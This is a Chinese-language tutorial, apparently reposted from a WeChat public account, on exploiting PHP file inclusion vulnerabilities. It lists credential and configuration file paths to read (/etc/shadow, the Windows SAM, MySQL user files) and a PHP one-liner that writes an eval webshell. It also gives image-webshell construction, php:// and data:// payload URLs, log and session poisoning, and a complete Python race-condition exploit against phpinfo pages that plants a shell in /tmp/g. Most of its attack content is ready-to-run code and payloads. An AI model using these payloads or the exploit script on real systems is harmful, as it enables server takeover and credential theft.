文件包含简介
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。
为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞的环境要求
· 变量可控
· allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 (远程包含条件)
· allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件 (本地包含条件)
绕过有后缀限制的包含
①使用%00 截断:
使用条件:
为当前php版本小于5.3.4否则无法使用且还需要关闭魔术引号(magic_quotes_gpc=off)
②长度截断(利用垃圾字符填充):
Windows 长度最长为256
Linux 长度最长为4096
一、利用思路:
①包含一些敏感的配置文件;
②配合图片马
③配合php伪协议
④配合日志文件
⑤配合session文件
⑥利用临时文件
二、实现方法
1、包含一些敏感的配置文件;
Windows
# Windows系统的一个基本系统配置文件
C:Windowswin.ini
# 查看系统版本
c:boot.ini
# IIS配置文件
c:windowssystem32inetsrvMetaBase.xml
# 存储Windows系统初次安装的密码
c:windowsrepairsam
# MySQL配置
c:ProgramFilesmysqlmy.ini
# MySQL root密码
c:ProgramFilesmysqldatamysqluser.MYD
# php 配置信息
c:windowsphp.ini
Linux
# 账户信息
/etc/passwd
# 账户密码文件
/etc/shadow
# Apache2默认配置文件
/usr/local/app/apache2/conf/httpd.conf
# 虚拟网站配置
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
# PHP 配置文件
/usr/local/app/php5/lib/php.ini
# Apache 配置文件
/etc/httpd/conf/httpd.conf
# MySQL 配置文件
/etc/my.conf
2、配合图片马
文件包含能够配合图片马,是因为文件包含能使得任意文件都以后端脚本形式进行执行,如php的站就会将图片以php的方式执行一遍,这才有了图片马的配合从而getshell
php 为例
#写入一句话并保存为shell.php文件
<?php fputs(fopen("shell.php","w"),'<? @eval($_POST[key]);?>');?>
生成图片木马(Windows)命令
1.jpg为正常图片,shell.php为写入的一句话木马
copy 1.jpg/b+shell.php shell.jpg
将其上传至服务器再进行文件包含就能利用到了
访问文件是存在该图片
此时还是不存在shell.php文件
进行包含 再次验证
此时可以对比发现shell.php不再出现Not Fund错误了
进行执行phpinfo()
成功执行, 说明命令成功 已经可以getshell了
3、配合PHP伪协议
各协议的利用条件和用法
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的,以及需要开启all_url_include才能使用。
http://192.168.8.10/include.php?filename=php://input
POST:<?php phpinfo();?>
php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
http://192.168.8.10/include.php?filename=php://filter/read=convert.base64-encode/resource=shell.php
data://
数据流封装器,以GET传递相应格式的数据。通常可以用来执行PHP代码。
1、data://text/plain,
http://192.168.8.10/include.php?filename=data://text/plain,<?php phpinfo();?>
2、data://text/plain;base64,
http://192.168.8.10/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
这里只简单列举了三种方法。
4、配合日志文件
利用条件:知道日志文件的存储路径,并且日志文件可读。
利用用户发起请求成功后服务器就会将其请求到的相应信息记录到access.log日志中, 从而配置利用日志文件包含, 不过要注意的是在写入一句话时, url会进行编码, 所以用burp抓包请求后再放出或者利用curl命令也行
可以通过猜测常见日志文件的路径进行读取, 或者利用phpinfo页面进行确定log位置(查找 server root 关键词)
进行包含
http://192.168.8.10/include.php?filename=C:\phpStudy\PHPTutorial\Apache\logs\access.log
5、配合session文件
常见的php-session存放位置:
1./var/lib/php/sess_PHPSESSID2./var/lib/php/sess_PHPSESSID3./tmp/sess_PHPSESSID4./tmp/sessions/sess_PHPSESSID
也可以利用phpinfo(session.save_path)读取到session文件所在
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到
要想利用就得要有请求登录, 这里可以借助phpmyadmin平台
6、利用临时文件
① 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
利用方法简述:
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
存在phpinfo页面
条件竞争EXP
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%sr
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
创建成功在/tmp/g文件
通过请求尝试执行phpinfo()
②PHP版本<7.2,利用php崩溃留下临时文件
php7 segment fault特性
段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录 向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
php < 7.2
Linux:
php://filter/string.strip_tags/resource=/etc/passwd
Windows
php://filter/string.strip_tags/resource=C:/Windows/win.ini
php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
PY代码如下:
import requests
from io import BytesIO
import re
payload = "<?php phpinfo()?>"
file_data = {
'file': BytesIO(payload.encode())
}
url = "http://127.0.0.1/include.php?"
+"filename=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
r = requests.post(url=url, files=file_data, allow_redirects=False)
成功利用上包含了该临时文件
原文始发于微信公众号(墨雪飘影):文件包含利用思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论